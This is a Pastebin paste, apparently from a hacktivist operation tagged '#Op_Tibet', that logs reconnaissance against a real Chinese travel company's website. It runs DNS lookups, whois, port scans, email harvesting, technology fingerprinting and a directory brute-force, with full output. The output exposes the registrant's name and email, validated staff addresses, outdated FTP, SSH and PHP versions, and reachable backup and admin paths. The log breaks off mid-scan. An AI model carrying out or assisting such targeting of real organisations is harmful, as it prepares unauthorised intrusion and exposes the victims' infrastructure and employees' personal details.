API tools faq
paste
JTSEC1333

Untitled

JTSEC1333
Jan 27th, 2025
723
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 269.33 KB | None | 0 0
raw download clone embed print report
  1. ############################################################################################################################################################
  2. ============================================================================================================================================================
  3. /$$ /$$ /$$ /$$ /$$
  4. | $$ | $$ | $$ | $$ | $$
  5. | $$$$$$$ | $$ /$$$$$$ /$$$$$$$| $$ /$$| $$$$$$$ /$$$$$$ /$$$$$$
  6. | $$__ $$| $$ |____ $$ /$$_____/| $$ /$$/| $$__ $$ |____ $$|_ $$_/
  7. | $$ \ $$| $$ /$$$$$$$| $$ | $$$$$$/ | $$ \ $$ /$$$$$$$ | $$
  8. | $$ | $$| $$ /$$__ $$| $$ | $$_ $$ | $$ | $$ /$$__ $$ | $$ /$$
  9. | $$$$$$$/| $$| $$$$$$$| $$$$$$$| $$ \ $$| $$ | $$| $$$$$$$ | $$$$/
  10. |_______/ |__/ \_______/ \_______/|__/ \__/|__/ |__/ \_______/ \___/
  11.  
  12. #Op_Tibet #Tibet #February 2020
  13.  
  14.  
  15. PENETRATION TESTING IN THE REAL WORLD...
  16.  
  17. protonvpn-cli -connect
  18.  
  19. root@blackbox:~# git clone https://github.com/jeanphorn/wordlist.git
  20. root@blackbox:~# cd wordlist/
  21. root@blackbox:~/wordlist# ls
  22. adobe_top100_password.txt passlist.txt router_default_password.md
  23. hydra.restore rdp_passlist.txt ssh_passwd.txt
  24. pass_list.rar README.md usernames.txt
  25.  
  26. TARGET: http://www.etours.cn/
  27. IP ADDRESS: 184.154.192.250
  28.  
  29.  
  30. NSLOOKUP DNS RECORDS A, NS, MX
  31.  
  32. root@blackbox:/# nslookup
  33. > set type=A
  34. > etours.cn
  35. Server: 192.168.1.1
  36. Address: 192.168.1.1#53
  37.  
  38. Non-authoritative answer:
  39. Name: etours.cn
  40. Address: 184.154.192.250
  41.  
  42. > set type=NS
  43. > etours.cn
  44. Server: 192.168.1.1
  45. Address: 192.168.1.1#53
  46.  
  47. Non-authoritative answer:
  48. etours.cn nameserver = ns20.xincache.com.
  49. etours.cn nameserver = ns19.xincache.com.
  50.  
  51. Authoritative answers can be found from:
  52.  
  53. > set type=MX
  54. > etours.cn
  55. Server: 192.168.1.1
  56. Address: 192.168.1.1#53
  57.  
  58. Non-authoritative answer:
  59. etours.cn mail exchanger = 10 mail.etours.cn.
  60.  
  61. Authoritative answers can be found from:
  62. > exit
  63.  
  64.  
  65. DIG DNS RECORDS A, NS, MX
  66.  
  67. root@blackbox:/# dig etours.cn A
  68.  
  69. ; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> etours.cn A
  70. ;; global options: +cmd
  71. ;; Got answer:
  72. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12778
  73. ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
  74.  
  75. ;; OPT PSEUDOSECTION:
  76. ; EDNS: version: 0, flags:; udp: 4096
  77. ;; QUESTION SECTION:
  78. ;etours.cn. IN A
  79.  
  80. ;; ANSWER SECTION:
  81. etours.cn. 2586 IN A 184.154.192.250
  82.  
  83. ;; Query time: 1069 msec
  84. ;; SERVER: 192.168.1.1#53(192.168.1.1)
  85. ;; WHEN: Wed Jan 22 13:34:44 CST 2020
  86. ;; MSG SIZE rcvd: 54
  87.  
  88. root@blackbox:/# dig etours.cn NS
  89.  
  90. ; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> etours.cn NS
  91. ;; global options: +cmd
  92. ;; Got answer:
  93. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21169
  94. ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
  95.  
  96. ;; OPT PSEUDOSECTION:
  97. ; EDNS: version: 0, flags:; udp: 4096
  98. ;; QUESTION SECTION:
  99. ;etours.cn. IN NS
  100.  
  101. ;; ANSWER SECTION:
  102. etours.cn. 3506 IN NS ns19.xincache.com.
  103. etours.cn. 3506 IN NS ns20.xincache.com.
  104.  
  105. ;; Query time: 44 msec
  106. ;; SERVER: 192.168.1.1#53(192.168.1.1)
  107. ;; WHEN: Wed Jan 22 13:35:12 CST 2020
  108. ;; MSG SIZE rcvd: 88
  109.  
  110.  
  111. root@blackbox:/# dig etours.cn MX
  112.  
  113. ; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> etours.cn MX
  114. ;; global options: +cmd
  115. ;; Got answer:
  116. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37222
  117. ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
  118.  
  119. ;; OPT PSEUDOSECTION:
  120. ; EDNS: version: 0, flags:; udp: 4096
  121. ;; QUESTION SECTION:
  122. ;etours.cn. IN MX
  123.  
  124. ;; ANSWER SECTION:
  125. etours.cn. 3520 IN MX 10 mail.etours.cn.
  126.  
  127. ;; Query time: 49 msec
  128. ;; SERVER: 192.168.1.1#53(192.168.1.1)
  129. ;; WHEN: Wed Jan 22 13:35:34 CST 2020
  130. ;; MSG SIZE rcvd: 59
  131.  
  132.  
  133. WHOIS DNSLYTICS
  134.  
  135. https://dnslytics.com/whois-lookup/etours.cn
  136.  
  137. WHOIS
  138.  
  139. root@blackbox:/opt# whois etours.cn
  140. Domain Name: etours.cn
  141. ROID: 20040108s10001s00945986-cn
  142. Domain Status: clientUpdateProhibited
  143. Domain Status: clientTransferProhibited
  144. Registrant ID: hr4iv3jdc2gd6
  145. Registrant: 李如勤
  146. Registrant Contact Email: [email protected]
  147. Sponsoring Registrar: 北京新网数码信息技术有限公司
  148. Name Server: ns19.xincache.com
  149. Name Server: ns20.xincache.com
  150. Registration Time: 2004-01-08 15:51:40
  151. Expiration Time: 2029-01-08 15:51:40
  152. DNSSEC: unsigned
  153.  
  154.  
  155. DMITRY IP ADDRESS
  156.  
  157. root@blackbox:/opt# dmitry -winsepfb host 184.154.192.250
  158. Deepmagic Information Gathering Tool
  159. "There be some deep magic going on"
  160.  
  161. HostIP:184.154.192.250
  162. HostName:server.etours.cn
  163.  
  164. Gathered Inet-whois information for 184.154.192.250
  165. ---------------------------------
  166.  
  167.  
  168. inetnum: 180.235.0.0 - 184.255.255.255
  169. netname: NON-RIPE-NCC-MANAGED-ADDRESS-BLOCK
  170. descr: IPv4 address block not managed by the RIPE NCC
  171. remarks: ------------------------------------------------------
  172. remarks:
  173. remarks: For registration information,
  174. remarks: you can consult the following sources:
  175. remarks:
  176. remarks: IANA
  177. remarks: http://www.iana.org/assignments/ipv4-address-space
  178. remarks: http://www.iana.org/assignments/iana-ipv4-special-registry
  179. remarks: http://www.iana.org/assignments/ipv4-recovered-address-space
  180. remarks:
  181. remarks: AFRINIC (Africa)
  182. remarks: http://www.afrinic.net/ whois.afrinic.net
  183. remarks:
  184. remarks: APNIC (Asia Pacific)
  185. remarks: http://www.apnic.net/ whois.apnic.net
  186. remarks:
  187. remarks: ARIN (Northern America)
  188. remarks: http://www.arin.net/ whois.arin.net
  189. remarks:
  190. remarks: LACNIC (Latin America and the Carribean)
  191. remarks: http://www.lacnic.net/ whois.lacnic.net
  192. remarks:
  193. remarks: ------------------------------------------------------
  194. country: EU # Country is really world wide
  195. admin-c: IANA1-RIPE
  196. tech-c: IANA1-RIPE
  197. status: ALLOCATED UNSPECIFIED
  198. mnt-by: RIPE-NCC-HM-MNT
  199. created: 2019-01-07T10:49:46Z
  200. last-modified: 2019-01-07T10:49:46Z
  201. source: RIPE
  202.  
  203. role: Internet Assigned Numbers Authority
  204. address: see http://www.iana.org.
  205. admin-c: IANA1-RIPE
  206. tech-c: IANA1-RIPE
  207. nic-hdl: IANA1-RIPE
  208. remarks: For more information on IANA services
  209. remarks: go to IANA web site at http://www.iana.org.
  210. mnt-by: RIPE-NCC-MNT
  211. created: 1970-01-01T00:00:00Z
  212. last-modified: 2001-09-22T09:31:27Z
  213. source: RIPE # Filtered
  214.  
  215. % This query was served by the RIPE Database Query Service version 1.96 (ANGUS)
  216.  
  217.  
  218.  
  219. Gathered Inic-whois information for server.etours.cn
  220. ---------------------------------
  221.  
  222. Gathered Netcraft information for server.etours.cn
  223. ---------------------------------
  224.  
  225. Retrieving Netcraft.com information for server.etours.cn
  226. Netcraft.com Information gathered
  227.  
  228. Gathered Subdomain information for server.etours.cn
  229. ---------------------------------
  230. Searching Google.com:80...
  231. Searching Altavista.com:80...
  232. Found 0 possible subdomain(s) for host server.etours.cn, Searched 0 pages containing 0 results
  233.  
  234. Gathered E-Mail information for server.etours.cn
  235. ---------------------------------
  236. Searching Google.com:80...
  237. Searching Altavista.com:80...
  238. Found 0 E-Mail(s) for host server.etours.cn, Searched 0 pages containing 0 results
  239.  
  240. Gathered TCP Port information for 184.154.192.250
  241. ---------------------------------
  242.  
  243. Port State
  244.  
  245. 21/tcp open
  246. >> 220 ProFTPD 1.3.3e Server (ProFTPD) [184.154.192.250]
  247.  
  248. 22/tcp open
  249. >> SSH-2.0-OpenSSH_4.3
  250.  
  251. 25/tcp open
  252. >> 220 server.etours.cn ESMTP
  253.  
  254. 53/tcp open
  255.  
  256. Portscan Finished: Scanned 150 ports, 145 ports were in state closed
  257.  
  258.  
  259. All scans completed, exiting
  260.  
  261. DMITRY DOMAIN
  262.  
  263. root@blackbox:/opt# dmitry -winsepfb host etours.cn
  264. Deepmagic Information Gathering Tool
  265. "There be some deep magic going on"
  266.  
  267. HostIP:184.154.192.250
  268. HostName:etours.cn
  269.  
  270. Gathered Inet-whois information for 184.154.192.250
  271. ---------------------------------
  272.  
  273.  
  274. inetnum: 180.235.0.0 - 184.255.255.255
  275. netname: NON-RIPE-NCC-MANAGED-ADDRESS-BLOCK
  276. descr: IPv4 address block not managed by the RIPE NCC
  277. remarks: ------------------------------------------------------
  278. remarks:
  279. remarks: For registration information,
  280. remarks: you can consult the following sources:
  281. remarks:
  282. remarks: IANA
  283. remarks: http://www.iana.org/assignments/ipv4-address-space
  284. remarks: http://www.iana.org/assignments/iana-ipv4-special-registry
  285. remarks: http://www.iana.org/assignments/ipv4-recovered-address-space
  286. remarks:
  287. remarks: AFRINIC (Africa)
  288. remarks: http://www.afrinic.net/ whois.afrinic.net
  289. remarks:
  290. remarks: APNIC (Asia Pacific)
  291. remarks: http://www.apnic.net/ whois.apnic.net
  292. remarks:
  293. remarks: ARIN (Northern America)
  294. remarks: http://www.arin.net/ whois.arin.net
  295. remarks:
  296. remarks: LACNIC (Latin America and the Carribean)
  297. remarks: http://www.lacnic.net/ whois.lacnic.net
  298. remarks:
  299. remarks: ------------------------------------------------------
  300. country: EU # Country is really world wide
  301. admin-c: IANA1-RIPE
  302. tech-c: IANA1-RIPE
  303. status: ALLOCATED UNSPECIFIED
  304. mnt-by: RIPE-NCC-HM-MNT
  305. created: 2019-01-07T10:49:46Z
  306. last-modified: 2019-01-07T10:49:46Z
  307. source: RIPE
  308.  
  309. role: Internet Assigned Numbers Authority
  310. address: see http://www.iana.org.
  311. admin-c: IANA1-RIPE
  312. tech-c: IANA1-RIPE
  313. nic-hdl: IANA1-RIPE
  314. remarks: For more information on IANA services
  315. remarks: go to IANA web site at http://www.iana.org.
  316. mnt-by: RIPE-NCC-MNT
  317. created: 1970-01-01T00:00:00Z
  318. last-modified: 2001-09-22T09:31:27Z
  319. source: RIPE # Filtered
  320.  
  321. % This query was served by the RIPE Database Query Service version 1.96 (WAGYU)
  322.  
  323.  
  324.  
  325. Gathered Inic-whois information for etours.cn
  326. ---------------------------------
  327. Domain Name: etours.cn
  328. ROID: 20040108s10001s00945986-cn
  329. Domain Status: clientUpdateProhibited
  330. Domain Status: clientTransferProhibited
  331. Registrant ID: hr4iv3jdc2gd6
  332. Registrant: 李如勤
  333. Registrant Contact Email: [email protected]
  334. Sponsoring Registrar: 北京新网数码信息技术有限公司
  335. Name Server: ns19.xincache.com
  336. Name Server: ns20.xincache.com
  337. Registration Time: 2004-01-08 15:51:40
  338. Expiration Time: 2029-01-08 15:51:40
  339. DNSSEC: unsigned
  340.  
  341. Gathered Netcraft information for etours.cn
  342. ---------------------------------
  343.  
  344. Retrieving Netcraft.com information for etours.cn
  345. Netcraft.com Information gathered
  346.  
  347. Gathered Subdomain information for etours.cn
  348. ---------------------------------
  349. Searching Google.com:80...
  350. HostName:www.etours.cn
  351. HostIP:184.154.192.250
  352. HostName:beijing.etours.cn
  353. HostIP:184.154.192.250
  354. Searching Altavista.com:80...
  355. Found 2 possible subdomain(s) for host etours.cn, Searched 0 pages containing 0 results
  356.  
  357. Gathered E-Mail information for etours.cn
  358. ---------------------------------
  359. Searching Google.com:80...
  360. Searching Altavista.com:80...
  361. Found 0 E-Mail(s) for host etours.cn, Searched 0 pages containing 0 results
  362.  
  363. Gathered TCP Port information for 184.154.192.250
  364. ---------------------------------
  365.  
  366. Port State
  367.  
  368. 21/tcp open
  369. >> 220 ProFTPD 1.3.3e Server (ProFTPD) [184.154.192.250]
  370.  
  371. 22/tcp open
  372. >> SSH-2.0-OpenSSH_4.3
  373.  
  374. 25/tcp open
  375. >> 220 server.etours.cn ESMTP
  376.  
  377. 53/tcp open
  378.  
  379. Portscan Finished: Scanned 150 ports, 145 ports were in state closed
  380.  
  381.  
  382. All scans completed, exiting
  383.  
  384.  
  385.  
  386. SHODAN CHECK
  387.  
  388. https://www.shodan.io/host/184.154.192.250/raw
  389.  
  390.  
  391. SEND A GET REQUEST
  392.  
  393. chrome-extension://aejoelaoggembcahagimdiliamlcdmfm/index.html
  394.  
  395. GET / HTTP/1.1
  396. Host: 184.154.192.250
  397.  
  398. HTTP/1.1 200 OK
  399. Date: Wed, 22 Jan 2020 19:57:07 GMT
  400. Server: Apache
  401. X-Powered-By: PleskLin
  402. Connection: close
  403. Transfer-Encoding: chunked
  404. Content-Type: text/html
  405.  
  406. Tel: (+86) 10 67160201 ext 1006, 1007
  407. Fax: (+86) 10 67160150 67160130
  408. Add: 2001-1-1,Linghangguoji, Guangqumen, Dongcheng Dist, Beijing, China<br>
  409. License No.L-BJ-01220
  410.  
  411.  
  412. TEST EMAIL ADDRESS
  413.  
  414. https://dnslytics.com/email-test
  415.  
  416. [email protected]
  417.  
  418. Testing e-mail address: [email protected]
  419. Number of mail server: 1
  420. Mail server Details Status
  421. mail.etours.cn
  422. Checking server mail.etours.cn...
  423.  
  424. Opening up socket to mail.etours.cn... Succes!
  425.  
  426. mail.etours.cn replied:
  427. HELO www.dnslytics.com
  428. (7002.86 ms)
  429. MAIL FROM: <[email protected]>
  430. (7007.18 ms)
  431. RCPT TO: <[email protected]>
  432. (7007.18 ms)
  433. QUIT
  434. (7007.12 ms)
  435. Successful communication with mail.etours.cn assuming OKsuccess
  436.  
  437.  
  438. OK success
  439. Email delivery for [email protected] is successful for all mail servers!
  440.  
  441.  
  442. TRANSLATE REGISTRANT NAME:
  443.  
  444. 李如勤 = Li Ruqin
  445. [email protected]
  446.  
  447.  
  448. EMAIL HARVESTER
  449.  
  450. root@blackbox:/# cd /opt/
  451. root@blackbox:/opt# git clone https://github.com/laramies/theHarvester.git
  452. root@blackbox:/opt# cd theHarvester/
  453. root@blackbox:/opt/theHarvester# pip3 install -r requirements.txt
  454. root@blackbox:/opt/theHarvester# ./theHarvester.py -d etours.cn -l 500 -b all
  455.  
  456. *******************************************************************
  457. * _ _ _ *
  458. * | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
  459. * | __| _ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
  460. * | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
  461. * \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
  462. * *
  463. * theHarvester 3.1.1dev3 *
  464. * Coded by Christian Martorella *
  465. * Edge-Security Research *
  466. * [email protected] *
  467. * *
  468. *******************************************************************
  469.  
  470.  
  471. [*] Target: etours.cn
  472.  
  473.  
  474. [*] IPs found: 14
  475. -------------------
  476. 8.5.1.33
  477. 34.212.104.30
  478. 45.204.167.102
  479. 50.63.202.16
  480. 52.84.3.40
  481. 52.84.3.100
  482. 52.84.3.239
  483. 52.84.3.252
  484. 52.84.64.42
  485. 104.27.138.30
  486. 104.27.139.30
  487. 124.16.31.152
  488. 154.222.178.247
  489. 184.154.192.250
  490.  
  491. [*] Emails found: 1
  492. ----------------------
  493. [email protected]
  494.  
  495.  
  496. https://dnslytics.com/email-test
  497.  
  498. Testing e-mail address: [email protected]
  499. Number of mail server: 1
  500. Mail server Details Status
  501. mail.etours.cn
  502. Checking server mail.etours.cn...
  503.  
  504. Opening up socket to mail.etours.cn... Succes!
  505.  
  506. mail.etours.cn replied:
  507. HELO www.dnslytics.com
  508. (7002.05 ms)
  509. MAIL FROM: <[email protected]>
  510. (7003.72 ms)
  511. RCPT TO: <[email protected]>
  512. (7007.17 ms)
  513. QUIT
  514. (7004.80 ms)
  515. Successful communication with mail.etours.cn assuming OKsuccess
  516.  
  517.  
  518. OK success
  519. Email delivery for [email protected] is successful for all mail servers!
  520.  
  521.  
  522.  
  523. [*] Hosts found: 46
  524. ---------------------
  525. beijing.etours.cn:184.154.192.250
  526. c-domain__target--beijing.etours.cn:
  527. c-domain__target--mail.etours.cn:
  528. changdetours.cn:
  529. chinawinetours.cn:184.168.131.241
  530. dragongatetours.cn:104.27.139.30, 104.27.138.30
  531. etours.cn:184.154.192.250
  532. httpacnow.netbeijing.etours.cn:
  533. httpacnow.netwww.etours.cn:
  534. httpbeijing.etours.cn:
  535. httpsseo.5118.combeijing.etours.cn:
  536. httpswww.keyword-suggest-tool.comsearchbeijing.etours.cn:
  537. httpwww.etours.cn:
  538. mail.etours.cn:184.154.192.250
  539. seetours.cn:
  540. server.etours.cn:
  541. taketours.cn:34.212.104.30
  542. www.3etours.cn:122.10.82.47, 103.97.19.67
  543. www.beijing.etours.cn:
  544. www.dragongatetours.cn:104.27.138.30, 104.27.139.30
  545. www.etours.cn:184.154.192.250
  546. www.lovetours.cn:154.222.178.247
  547. www.seetours.cn:2.16.135.32, 2.16.135.42
  548. www.taketours.cn:34.212.104.30
  549.  
  550.  
  551. WHATRUNS 184.154.192.250
  552.  
  553. https://www.whatruns.com/website/etours.cn
  554.  
  555. Hosting Panel
  556. Plesk
  557.  
  558. Programming Language
  559. PHP 5.3.10
  560.  
  561. Web Server
  562. Apache 2.4.6
  563.  
  564.  
  565. WHATWEB
  566.  
  567. root@blackbox:~/WhatWeb# ./whatweb
  568.  
  569. .$$$ $. .$$$ $.
  570. $$$$ $$. .$$$ $$$ .$$$$$$. .$$$$$$$$$$. $$$$ $$. .$$$$$$$. .$$$$$$.
  571. $ $$ $$$ $ $$ $$$ $ $$$$$$. $$$$$ $$$$$$ $ $$ $$$ $ $$ $$ $ $$$$$$.
  572. $ `$ $$$ $ `$ $$$ $ `$ $$$ $$' $ `$ `$$ $ `$ $$$ $ `$ $ `$ $$$'
  573. $. $ $$$ $. $$$$$$ $. $$$$$$ `$ $. $ :' $. $ $$$ $. $$$$ $. $$$$$.
  574. $::$ . $$$ $::$ $$$ $::$ $$$ $::$ $::$ . $$$ $::$ $::$ $$$$
  575. $;;$ $$$ $$$ $;;$ $$$ $;;$ $$$ $;;$ $;;$ $$$ $$$ $;;$ $;;$ $$$$
  576. $$$$$$ $$$$$ $$$$ $$$ $$$$ $$$ $$$$ $$$$$$ $$$$$ $$$$$$$$$ $$$$$$$$$'
  577.  
  578.  
  579. WhatWeb - Next generation web scanner version 0.5.1.
  580. Developed by Andrew Horton (urbanadventurer) and Brendan Coles (bcoles)
  581. Homepage: https://www.morningstarsecurity.com/research/whatweb
  582.  
  583.  
  584. root@blackbox:~# git clone https://github.com/urbanadventurer/WhatWeb.git
  585.  
  586. root@blackbox:~/WhatWeb# ./whatweb -v -a 4 etours.cn
  587.  
  588. WhatWeb report for http://www.etours.cn/
  589. Status : 200 OK
  590. Title : China Travel Service, China Tours, China Travel - China eTours Travel Service
  591. IP : 184.154.192.250
  592. Country : UNITED STATES, US
  593.  
  594. Summary : Script[text/javascript], Meta-Author[www.eTours.cn], HTTPServer[Apache], JQuery[1.4.2], Plesk[Lin], Email[[email protected]], Apache, X-Powered-By[PleskLin]
  595.  
  596. Detected Plugins:
  597. [ Apache ]
  598. The Apache HTTP Server Project is an effort to develop and
  599. maintain an open-source HTTP server for modern operating
  600. systems including UNIX and Windows NT. The goal of this
  601. project is to provide a secure, efficient and extensible
  602. server that provides HTTP services in sync with the current
  603. HTTP standards.
  604.  
  605. Google Dorks: (3)
  606. Website : http://httpd.apache.org/
  607.  
  608. [ Email ]
  609. Extract email addresses. Find valid email address and
  610. syntactically invalid email addresses from mailto: link
  611. tags. We match syntactically invalid links containing
  612. mailto: to catch anti-spam email addresses, eg. bob at
  613. gmail.com. This uses the simplified email regular
  614. expression from
  615. http://www.regular-expressions.info/email.html for valid
  616. email address matching.
  617.  
  618. String : [email protected]
  619. String : [email protected]
  620.  
  621. [ HTTPServer ]
  622. HTTP server header string. This plugin also attempts to
  623. identify the operating system from the server header.
  624.  
  625. String : Apache (from server string)
  626.  
  627. [ JQuery ]
  628. A fast, concise, JavaScript that simplifies how to traverse
  629. HTML documents, handle events, perform animations, and add
  630. AJAX.
  631.  
  632. Version : 1.4.2
  633. Website : http://jquery.com/
  634.  
  635. [ Meta-Author ]
  636. This plugin retrieves the author name from the meta name
  637. tag - info:
  638. http://www.webmarketingnow.com/tips/meta-tags-uncovered.html
  639. #author
  640.  
  641. String : www.eTours.cn
  642.  
  643. [ Plesk ]
  644. Plesk is a web control panel
  645.  
  646. String : Lin
  647. Google Dorks: (1)
  648. Website : http://www.parallels.com/products/plesk/
  649.  
  650. [ Script ]
  651. This plugin detects instances of script HTML elements and
  652. returns the script language/type.
  653.  
  654. String : text/javascript
  655.  
  656. [ X-Powered-By ]
  657. X-Powered-By HTTP header
  658.  
  659. String : PleskLin (from x-powered-by string)
  660.  
  661. HTTP Headers:
  662. HTTP/1.1 200 OK
  663. Date: Thu, 23 Jan 2020 15:47:15 GMT
  664. Server: Apache
  665. X-Powered-By: PleskLin
  666. Connection: close
  667. Transfer-Encoding: chunked
  668. Content-Type: text/html
  669.  
  670.  
  671.  
  672. root@blackbox:/opt# dirb http://184.154.192.250/ /usr/share/wordlists/dirb/common.txt
  673.  
  674. -----------------
  675. DIRB v2.22
  676. By The Dark Raver
  677. -----------------
  678.  
  679. START_TIME: Wed Jan 22 15:18:24 2020
  680. URL_BASE: http://184.154.192.250/
  681. WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
  682.  
  683.  
  684. HTTP STATUS CODES:
  685.  
  686.  
  687. https://miro.medium.com/max/1530/0*BX8QCIGzEMtRvoJN.png
  688.  
  689. CODE - STATUS
  690. 200 - OK
  691. 301 - MOVED PERMANENTLY
  692. 302 - FOUND
  693. 401 - UNAUTHORIZED
  694. 403 - FORBIDDEN
  695. 500 - Internal Server Error
  696.  
  697.  
  698. -----------------
  699.  
  700. GENERATED WORDS: 4612
  701.  
  702. ---- Scanning URL: http://184.154.192.250/ ----
  703. + http://184.154.192.250/_db_backups (CODE:401|SIZE:1211)
  704. + http://184.154.192.250/admin.pl (CODE:403|SIZE:954)
  705. + http://184.154.192.250/atom (CODE:301|SIZE:0)
  706. + http://184.154.192.250/cgi-bin/ (CODE:403|SIZE:954)
  707. + http://184.154.192.250/favicon.ico (CODE:200|SIZE:0)
  708. + http://184.154.192.250/index.php (CODE:200|SIZE:19887)
  709. + http://184.154.192.250/page1 (CODE:301|SIZE:0)
  710. + http://184.154.192.250/page2 (CODE:301|SIZE:0)
  711. + http://184.154.192.250/php.ini (CODE:200|SIZE:389)
  712. + http://184.154.192.250/plesk-stat (CODE:301|SIZE:301)
  713. + http://184.154.192.250/rdf (CODE:301|SIZE:0)
  714. + http://184.154.192.250/rss (CODE:301|SIZE:0)
  715. + http://184.154.192.250/rss2 (CODE:301|SIZE:0)
  716. + http://184.154.192.250/sitemap.xml (CODE:200|SIZE:78004)
  717. + http://184.154.192.250/usage (CODE:403|SIZE:954)
  718. + http://184.154.192.250/web.xml (CODE:200|SIZE:679)
  719. + http://184.154.192.250/webstat (CODE:301|SIZE:298)
  720.  
  721. ---- Entering directory: http://184.154.192.250/0/ ----
  722. + http://184.154.192.250/0/index.php (CODE:301|SIZE:0)
  723.  
  724. ---- Entering directory: http://184.154.192.250/2011/ ----
  725. + http://184.154.192.250/2011/13 (CODE:200|SIZE:13756)
  726. + http://184.154.192.250/2011/14 (CODE:200|SIZE:13756)
  727. + http://184.154.192.250/2011/15 (CODE:200|SIZE:13756)
  728. + http://184.154.192.250/2011/20 (CODE:200|SIZE:13756)
  729. + http://184.154.192.250/2011/21 (CODE:200|SIZE:13756)
  730. + http://184.154.192.250/2011/22 (CODE:200|SIZE:13756)
  731. + http://184.154.192.250/2011/23 (CODE:200|SIZE:13756)
  732. + http://184.154.192.250/2011/24 (CODE:200|SIZE:13756)
  733. + http://184.154.192.250/2011/25 (CODE:200|SIZE:13756)
  734. + http://184.154.192.250/2011/30 (CODE:200|SIZE:13756)
  735. + http://184.154.192.250/2011/32 (CODE:200|SIZE:13756)
  736. + http://184.154.192.250/2011/42 (CODE:200|SIZE:13756)
  737. + http://184.154.192.250/2011/50 (CODE:200|SIZE:13756)
  738. + http://184.154.192.250/2011/51 (CODE:200|SIZE:13756)
  739. + http://184.154.192.250/2011/64 (CODE:200|SIZE:13756)
  740. + http://184.154.192.250/2011/96 (CODE:200|SIZE:13756)
  741. + http://184.154.192.250/2011/atom (CODE:301|SIZE:0)
  742. + http://184.154.192.250/2011/index.php (CODE:301|SIZE:0)
  743. + http://184.154.192.250/2011/page1 (CODE:301|SIZE:0)
  744. + http://184.154.192.250/2011/page2 (CODE:301|SIZE:0)
  745. + http://184.154.192.250/2011/rdf (CODE:301|SIZE:0)
  746. + http://184.154.192.250/2011/rss (CODE:301|SIZE:0)
  747. + http://184.154.192.250/2011/rss2 (CODE:301|SIZE:0)
  748.  
  749. ---- Entering directory: http://184.154.192.250/2012/ ----
  750. + http://184.154.192.250/2012/13 (CODE:200|SIZE:13756)
  751. + http://184.154.192.250/2012/14 (CODE:200|SIZE:13756)
  752. + http://184.154.192.250/2012/15 (CODE:200|SIZE:13756)
  753. + http://184.154.192.250/2012/20 (CODE:200|SIZE:13756)
  754. + http://184.154.192.250/2012/21 (CODE:200|SIZE:13756)
  755. + http://184.154.192.250/2012/22 (CODE:200|SIZE:13756)
  756. + http://184.154.192.250/2012/23 (CODE:200|SIZE:13756)
  757. + http://184.154.192.250/2012/24 (CODE:200|SIZE:13756)
  758. + http://184.154.192.250/2012/25 (CODE:200|SIZE:13756)
  759. + http://184.154.192.250/2012/30 (CODE:200|SIZE:13756)
  760. + http://184.154.192.250/2012/32 (CODE:200|SIZE:13756)
  761. + http://184.154.192.250/2012/42 (CODE:200|SIZE:13756)
  762. + http://184.154.192.250/2012/50 (CODE:200|SIZE:13756)
  763. + http://184.154.192.250/2012/51 (CODE:200|SIZE:13756)
  764. + http://184.154.192.250/2012/64 (CODE:200|SIZE:13756)
  765. + http://184.154.192.250/2012/96 (CODE:200|SIZE:13756)
  766. + http://184.154.192.250/2012/atom (CODE:301|SIZE:0)
  767. + http://184.154.192.250/2012/index.php (CODE:301|SIZE:0)
  768. + http://184.154.192.250/2012/page1 (CODE:301|SIZE:0)
  769. + http://184.154.192.250/2012/page2 (CODE:301|SIZE:0)
  770. + http://184.154.192.250/2012/rdf (CODE:301|SIZE:0)
  771. + http://184.154.192.250/2012/rss (CODE:301|SIZE:0)
  772. + http://184.154.192.250/2012/rss2 (CODE:301|SIZE:0)
  773.  
  774. ---- Entering directory: http://184.154.192.250/about_us/ ----
  775. + http://184.154.192.250/about_us/admin.pl (CODE:403|SIZE:954)
  776. + http://184.154.192.250/about_us/index.php (CODE:200|SIZE:31320)
  777.  
  778. ---- Entering directory: http://184.154.192.250/ads/ ----
  779. + http://184.154.192.250/ads/admin.pl (CODE:403|SIZE:954)
  780. + http://184.154.192.250/ads/index.php (CODE:301|SIZE:0)
  781.  
  782. ---- Entering directory: http://184.154.192.250/backup/ ----
  783. + http://184.154.192.250/backup/admin.pl (CODE:403|SIZE:954)
  784. + http://184.154.192.250/backup/index.php (CODE:301|SIZE:0)
  785.  
  786. ---- Entering directory: http://184.154.192.250/blog/ ----
  787. + http://184.154.192.250/blog/admin (CODE:302|SIZE:0)
  788. + http://184.154.192.250/blog/admin.pl (CODE:403|SIZE:954)
  789. + http://184.154.192.250/blog/atom (CODE:301|SIZE:0)
  790. + http://184.154.192.250/blog/dashboard (CODE:302|SIZE:0)
  791. + http://184.154.192.250/blog/index.php (CODE:301|SIZE:0)
  792. + http://184.154.192.250/blog/login (CODE:302|SIZE:0)
  793. + http://184.154.192.250/blog/page1 (CODE:301|SIZE:0)
  794. + http://184.154.192.250/blog/page2 (CODE:301|SIZE:0)
  795. + http://184.154.192.250/blog/rdf (CODE:301|SIZE:0)
  796. + http://184.154.192.250/blog/rss (CODE:301|SIZE:0)
  797. + http://184.154.192.250/blog/rss2 (CODE:301|SIZE:0)
  798. + http://184.154.192.250/blog/xmlrpc.php (CODE:405|SIZE:42)
  799.  
  800. ---- Entering directory: http://184.154.192.250/Blog/ ----
  801. + http://184.154.192.250/Blog/atom (CODE:301|SIZE:0)
  802. + http://184.154.192.250/Blog/index.php (CODE:301|SIZE:0)
  803. + http://184.154.192.250/Blog/page1 (CODE:301|SIZE:0)
  804. + http://184.154.192.250/Blog/page2 (CODE:301|SIZE:0)
  805. + http://184.154.192.250/Blog/rdf (CODE:301|SIZE:0)
